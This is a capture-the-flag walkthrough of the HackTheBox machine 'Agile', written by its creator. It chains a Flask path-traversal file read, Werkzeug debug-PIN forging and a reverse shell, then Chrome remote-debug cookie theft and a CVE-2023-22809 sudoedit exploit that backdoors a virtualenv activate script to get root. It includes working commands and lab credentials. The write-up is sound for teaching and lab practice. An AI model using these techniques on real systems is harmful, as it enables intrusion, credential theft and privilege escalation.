Agile is a box hosting a password manager solution. There’s a file read vulnerability in the application, and the Flask server is running in debug mode. I’ll use those to get execution on the box, which turns out to be a bit trickier than expected. From there, I’ll dump a user’s password out of the database and get an SSH shell. There’s a testing version of the app running as well, and I’ll abuse Chrome debug to get credentials from the testing Chrome instance to pivot to the next user. This user can use sudoedit to modify files related to the test server. I’ll abuse CVE-2023-22809 to write into the virtual environment that root is sourcing to get root. In Beyond Root, I’ll show two unintended vulnerabilities in the web application that got patched about a week after release.

Box Info

Name Agile Agile
Play on HackTheBox
Release Date 04 Mar 2023
Retire Date 5 Aug 2023
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Agile
Radar Graph Radar chart for Agile
First Blood User 00:07:35Ziemni
First Blood Root 00:41:14szymex73
Creator 0xdf

Author’s Note

Agile is the 5th box I’ve had released on HackTheBox. It’s always fun when I get to writeup my own creation, and I’ll take this chance to share a bit of background. I made this machine to look at a bad take on an agile / CICD workflow. The box is supposed to be a password manager product that is trying to be “agile”, but doing it all wrong. The developers here want to constantly be building the site, and they have put Flask in debug mode so that it automatically updates when there’s a change. There’s also a file read vulnerability in the site. There’s also a cron constantly running PyTest tests against the site, a dev version. Finally, since this is the box used to host the site and everything around it is involved with the site, the admin has every user logging in sourcing the virtual environment constant running of tests on the dev version of the website, which keeps selenium open and chrome debug. The player can connect to this debug and get the session, and pull another password from the test database. Finally, the box is configured so that everyone logging in sources the venv used by the application. The last user has sudo edit privileges over some files as the admin, and CVE-2023-22809 can be used to edit the venv activate script and get execution as root.

I had a lot of fun learning HTMX for this box, which doesn’t come into the exploitation at all, but does provide a nice layer to make responsive web applications. It’s worth poking at how the web application works to get a feel for it.



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-07-28 13:06 EDT
Nmap scan report for superpass.htb (
Host is up (0.094s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2023-07-28 13:16 EDT
Nmap scan report for
Host is up (0.094s latency).

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.51 seconds

The website is redirecting to superpass.htb.

I’ll use wfuzz or ffuf to fuzz for other subdomains, but not find any. I’ll add superpass.htb to my /etc/hosts file.

Website - TCP 80


The site is a password manager:

image-20230124065153513 expand

I’ll create an account and now I’m redirected to /vault:


Clicking “Add a password” opens a form with the password already filled in:


Completing the rest of it and clicking the save / disk icon makes it no longer editable:


Pushing the export button will download a CSV:

image-20230124070022667 image-20230728151429925

Tech Stack

The HTTP response headers show NGINX, but nothing else:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 28 Jul 2023 19:10:58 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 6128

Guessing at extensions doesn’t return anything. The 404 page matches the default 404 for Flask:


This suggests the site is Python Flask.

Directory Brute Force

I’ll run feroxbuster against the site, but it doesn’t find anything I haven’t seen:

oxdf@hacky$ feroxbuster -u http://superpass.htb --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
 🎯  Target Url            │ http://superpass.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      131l      307w     6128c http://superpass.htb/
302      GET        5l       22w      249c http://superpass.htb/download => http://superpass.htb/account/login?next=%2Fdownload
301      GET        7l       12w      178c http://superpass.htb/static => http://superpass.htb/static/
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://superpass.htb/static/css => http://superpass.htb/static/css/
301      GET        7l       12w      178c http://superpass.htb/static/js => http://superpass.htb/static/js/
301      GET        7l       12w      178c http://superpass.htb/static/img => http://superpass.htb/static/img/
302      GET        5l       22w      243c http://superpass.htb/vault => http://superpass.htb/account/login?next=%2Fvault
[####################] - 1m    150000/150000  0s      found:7       errors:0      
[####################] - 1m     30000/30000   417/s   http://superpass.htb/ 
[####################] - 1m     30000/30000   498/s   http://superpass.htb/static/ 
[####################] - 1m     30000/30000   498/s   http://superpass.htb/static/js/ 
[####################] - 1m     30000/30000   499/s   http://superpass.htb/static/css/ 
[####################] - 1m     30000/30000   498/s   http://superpass.htb/static/img/ 

Shell as www-data

Export in More Detail


Looking in Burp, I’ll see that when I click on Export, there’s a GET request to /vault/export, which returns a 302 to /download?fn=[username]_export_[some hex].csv. Neither of these ever show up in the browser address bar, because the end result is a file that’s downloaded.



There’s two vulnerabilities to identify in /download. The first is a directory traversal / file read vulnerability:


The second is that if the file path isn’t good, the page crashes revealing that the server is running Flask in debug mode:


Flask Debug Execution


The debug page for Flask is made for developers to find a crash and figure out what happened. It gives not only the stack trace, but also the ability to get a Python console and run additional commands at the point of the crash. If I move my mouse over one of the outputs, the little terminal logo appears:


Clicking on the terminal pops a message asking for the PIN:


This is a safety mechanism that wasn’t present in early versions of the debug page (added in version 0.11, released Nov 2015). This pin is printed to the terminal when the Flask site is run. If I have the pin, I can get execution on the system. To calculate the pin, I’ll need to collect a handful of strings from the system, using the file read vulnerability.

HackTricks has a writeup on generating the pin, showing how it is generated in the Flask (specifically in the werkzeug module) source, and providing a script. I’ll grab a copy of that script, and I’ll need to update several things. I’ve shown this before as an unintended method on OpenSource.

The big trick on Agile is that most the guides (including the HackTricks and my post) make assumptions about one of the items you need, and that assumption is not always correct. I’ll start following the guides, fail, and then show how to fix it.

Public Bits

The first part of the script that requires updating is the list named probably_public_bits.

probably_public_bits = [
    'web3_user',# username
    '',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/' # getattr(mod, '__file__', None),

To get the username, I’ll check /proc/self/environ using the file read vuln:


The server is running as www-data.

In previous guides, the second item is always given as “” and the third as “Flask”. We’ll come back to these.

The fourth item is the full path to the application, which is in the crashdump:


My script looks like:

probably_public_bits = [
    'www-data',# username
    '',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/' # getattr(mod, '__file__', None),

Private Bits

The next section is the list private_bits:

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id

I’m going to switch to curl here for ease. I’ll need to use --path-as-is so that curl doesn’t undo the ../, and I’ll need the cookie, which I’ll save in an env variable. I’ll need to get the MAC address. I can find that at /sys/class/net/[device]/address. To get the device name, I’ll pull /proc/net/arp:

oxdf@hacky$ cookie="session=.eJwlzj0OwjAMQOG7ZGaIncQ_vUwVx7ZgbemEuDuV2N709H3Knkecz7K9jyseZX952cpMQegkZGndnMfEfqdWlYSIBPeqidw6rWU652CvyUiGzVFMqVWjlg6hstLMg5ciopvyjCHV2To1WUiTnIj53g_oQLEEpNyQ64zjr9Hy_QEv9zBO.ZMQS_Q.Z4LXfnoQS3utplGKkJ9ScRF8EMY"
oxdf@hacky$ curl http://superpass.htb/download?fn=../../../../proc/net/arp -s --path-as-is -b $cookie
IP address       HW type     Flags       HW address            Mask     Device       0x1         0x2         00:50:56:b9:1d:c2     *        eth0

The device is eth0, which I’ll use to get the MAC:

oxdf@hacky$ curl http://superpass.htb/download?fn=../../../../sys/class/net/eth0/address -s --path-as-is -b $cookie

The script needs this as an int, which I can use Python to convert:

>>> int("00:50:56:b9:48:b5".replace(':',''), 16)

The next item is a combination of a couple files. First, I need /etc/machine-id:

oxdf@hacky$ curl http://superpass.htb/download?fn=../../../../etc/machine-id -s --path-as-is -b $cookie

I’ll also need the first line of /proc/self/cgroup, from the last “/” to the end:

oxdf@hacky$ curl http://superpass.htb/download?fn=../../../../proc/self/cgroup -s --path-as-is -b $cookie

I only need the “superpass.service” part.

Putting that all together updates the script to:

private_bits = [
    '345052367029',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id

Hash Algorithm

I’ll run this and it outputs a pin:

oxdf@hacky$ python 

But it doesn’t work:


One possible issue has to do with the hash algorithm in use. Werkzurg updated their code from MD5 to SHA1 a while ago. At the time of Agile’s release, there was a note on the Hacktricks page:

If you are on a new version of Werkzeug, try changing the hashing algorithm to sha1 instead of md5.

By the time Agile is retiring, the script is just updated to use SHA1. To verify this, I’ll pull the file from Agile and confirm it’s using SHA1 (not MD5):


I’ll make sure my script is not using MD5, and if it is, fix it:

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:

Now on running this generates a new pin:

oxdf@hacky$ python 

But it still doesn’t work.

getattr(app, ‘__name__’)

Guides show the third item in probably_public_bits typically as just “Flask”, but that isn’t always the case. It has to do with how Flask is launched on the host.

I’ll demonstrate that in this video where I make a HelloWorld Flask application and show how the variables change.

Side note: I’m still very interested in why Ubuntu Desktop doesn’t return “correct” values for getnode. If you have any idea, please reach out to me on Twitter or Discord).

In this next video, I’ll collect the correct data for Agile to get the pin:

I’ll see how the application is running, recreate a version of it on my machine. In that version, I’ll update the Werkzeug package to print the things that go into the pin when it’s created, and show that it actually prints three times:

(venv) oxdf@hacky$ python 
 * Serving Flask app ''
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
pub: ['oxdf', '', 'wsgi_app', '/home/oxdf/agile/venv/lib/python3.11/site-packages/flask/']
priv: ['32885290718598', b'060456d303a2469db9ea10ab03306411session-c2.scope']
 * Debugger PIN: 198-691-424
 * Debugger is active!
pub: ['oxdf', 'werkzeug.debug', 'DebuggedApplication', '/home/oxdf/agile/venv/lib/python3.11/site-packages/werkzeug/debug/']
priv: ['32885290718598', b'060456d303a2469db9ea10ab03306411session-c2.scope']
 * Debugger PIN: 101-681-536
 * Debugger is active!
pub: ['oxdf', '', 'Flask', '/home/oxdf/agile/venv/lib/python3.11/site-packages/flask/']
priv: ['32885290718598', b'060456d303a2469db9ea10ab03306411session-c2.scope']
 * Debugger PIN: 659-317-709

With some playing around, I’ll see that what I need is “wsgi_app”, which comes from the fact that this is served using Gunicorn.


I’ll update and get a new pin, and it works:



It looks like the os module is imported already:


I’ll use Python #2 from, pasting it directly into the console:


The page hangs, but I get a shell:

oxdf@hacky$ nc -lvnp 443
Listening on 443
Connection received on 51078
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as corum

The shell will only last about 5 minutes based on the connection, so it’s important to work quick (or just get another shell). With access as www-data, I can read the DB connection string from /app/config_prod.json:

(venv) www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

I’ll use that to connect to the database and dump the passwords:

(venv) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass
mysql> select * from passwords;
| id  | created_date        | last_updated_data   | url            | username | password             | user_id |
|   3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | | 0xdf     | 762b430d32eea2f12970 |       1 |
|   4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 |    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|   6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|   7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|   8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
| 195 | 2023-01-24 15:52:50 | 2023-01-24 15:52:50 | asdfasdf       | sadfsadf | 378ea0c651fa7964d9b5 |       5 |
6 rows in set (0.00 sec)

There’s a password for “agile” for the corum user. It works over ssh:

oxdf@hacky$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb

Shell as edwards


Web Apps

There’s a parallel testing/dev instance of the site in /app:

corum@agile:/app$ ls -l
total 24
drwxr-xr-x 5 corum     runner    4096 Jan 23 21:50 app
drwxr-xr-x 8 runner    runner    4096 Jan 25 17:29 app-testing
-r--r----- 1 dev_admin www-data    88 Jan 25 00:00 config_prod.json
-r--r----- 1 dev_admin runner      99 Jan 25 15:15 config_test.json
-rwxr-xr-x 1 root      runner     557 Jan 25 17:36
drwxrwxr-x 5 root      dev_admin 4096 Jan 25 17:21 venv

As corum, I’m able to access everything in app. I can read almost everything in app-testing as well.

The script is also readable:


# update prod with latest from testing constantly assuming tests are passing

echo "Starting test_and_update"

# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit

echo "Not already running. Starting..."

# start in dev folder
cd /app/app-testing

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit

# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"

It checks if pytest is already running, and if so, exits. Then it goes into the app-testing folder, sources the local env that’s shared between the apps, and calls pytest. If it succeeds, it copies the superpass folder into /app/app (if it passes tests, deploy!).

There’s one file of tests in app-testing:

corum@agile:/app/app-testing/tests/functional$ ls -l
total 12
drwxrwxr-x 2 runner runner 4096 Jan 25 17:06 __pycache__
-rw-r----- 1 dev_admin runner   34 Jan 25 15:15 creds.txt
-rw-r--r-- 1 runner runner 2663 Jan 25 17:05

corum can’t read creds.txt. It’s used in test_site_interactively to log into the page on test.superpass.htb:

with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password =':')

def test_login(driver):
    print("starting test_login")
    username_input = driver.find_element(By.NAME, "username")
    password_input = driver.find_element(By.NAME, "password")
    driver.find_element(By.NAME, "submit").click()
    title = driver.find_element(By.TAG_NAME, "h1")
    assert title.text == "Welcome to your vault"

It’s using Selenium with headless Chrome to load the site:

def driver():
    options = Options()
    driver = webdriver.Chrome(options=options)
    yield driver

The remote debug port is fixed on 41829.


The test.superpass.htb site is defined in cat superpass-test.nginx:

server {
    server_name test.superpass.htb;

    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    location / {
        include uwsgi_params;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;

It’s only listening on localhost, and it’s proxying everything to localhost 5555. If I try to update my hosts file to include this domain and access it directly, it just redirects to superpass.htb. That’s because I’m not coming from localhost. The easiest way to access it is just to tunnel directly to TCP 5555 on Agile, so I’ll do that by reconnecting my SSH as corum with -L 5555:localhost:5555.

The page looks exactly the same, but there are a few differences:

  • The file read vuln doesn’t work anymore:
  • The server isn’t running in debug mode:

Chrome Debug

Because the tests take a long time, this means the chrome debug port will almost always be up.

corum@agile:/app/app-testing/tests/functional$ netstat -tnlp | grep 41829
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0*               LISTEN      - 

I’ll use SSH to tunnel 41829 on my host to 41829 on Agile.

I’ll open Chromium and go to chrome://inspect and go to the devices page:


I’ll add the port under Configure:


And clicking done shows a new remote target:


Clicking on “inspect” pops a dev tools instance connected to the testing selenium:


If I watch long enough or catch on at the right time, I can get a view of edwards’ vault. A more reliable way is to go to the application tab where I can get the cookies in use:


I can tunnel to port 5555, and add these cookies to my browser to get access to a new vault:


There’s another password for “agile”, for the edwards user.

oxdf@hacky$ sshpass -p 'd07867c6267dcb5df0af' ssh edwards@superpass.htb

Shell as root



edwards can run sudoedit as dev_admin to edit the config_test.json and the creds.txt file:

edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

I’ll also note the version of sudo running here:

edwards@agile:~$ sudo -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

This version is vulnerable to CVE-2023-22809. This vulnerability allows a user to provide extra arguments in user-proivded environment variables, allowing the attacker to access additional files to process beyond the one’s allowed by the config. Applied here allows edwards to write any file as dev_admin, not just these two.


It turns out that any shell on Agile is running with the Python virtual environment activated. There are a few different ways to find this.

In some reverse shells, just running bash will have the (venv) prompt come on:


If I look for where Python in on disk, I’ll see it returns the one in the venv folder, and that the venv folder has been added to the front of the session’s PATH variable:

corum@agile:~$ which python
corum@agile:~$ echo $PATH

This happens because the global bashrc file includes sourcing the venv on this box:

edwards@agile:~$ tail -2 /etc/bash.bashrc 
# all users will want the env associated with this application
source /app/venv/bin/activate

There’s a hint at this in a comment in the script as well:

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

Shell as root

root is periodically logging in, and each time it will source /app/venv/bin/activate. If I can edit that, I can get execution as root. This file is writable by root and dev_admin:

edwards@agile:/$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Jan 25 18:24 /app/venv/bin/activate

I’ll abuse CVE-2023-22809 to write this file as dev_admin:

edwards@agile:/$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json 
[sudo] password for edwards: 

In the file, I’ll add code to create a SUID bash:


After the next minute, the backdoor is now in /tmp, and gives a shell:

edwards@agile:/$ /tmp/0xdf -p
edwards@agile:/# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)

Beyond Root

Unintendeds Patched

Agile was patched after it’s week in the season scoring to fix two vulnerabilities:


I’ll look at each here.


There was an insecure direct object reference vulnerability in the get_password_by_id function. This allowed users to find the /vault/row/<id> endpoint and request passwords from other users, leaking corum’s password, skipping the Flask debug step.

The route used a function in /app/app/superpass/services/ called get_password_by_id.

The code on release day was this:

def get_password_by_id(id: int, userid: int) -> Optional[Password]:

    session = db_session.create_session()
    password = session.query(Password)\
   == id,
   == userid


    return password

On first look, it looks like the app is checking for passwords that match the given ID and the current user’s ID. Unfortunately for me, that is a copy and paste typo, as the last check is comparing and userid. The function is called with the current user’s ID, which is userid. User is from the data models. The problem is that a Password object doesn’t have a User, so it makes no sense here, and just silently does nothing. This was patched by changing the query to:

    password = session.query(Password)\
   == id,
            Password.userid == userid

The first step of the box is to use Flask debug to get onto the host and get database access to get corum’s password. This could be bypassed by reading the source code for the application. On initial release, it has a static SECRET_KEY value set at the top of the file:


With access to this key, it is easy to forge a Flask cookie for any user (like in Rainyday or Noter). Reading the /etc/passwd file will give usernames to try, and then logged in as corum, it’s as simple as SSHing into Agile.

This was patched by setting this to a random 32 characters on each application startup:

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)

This strategy has drawbacks - if the application restarts, then all existing cookies become invalid. That might bring real issues in the real world, but it works perfectly well for a HTB machine.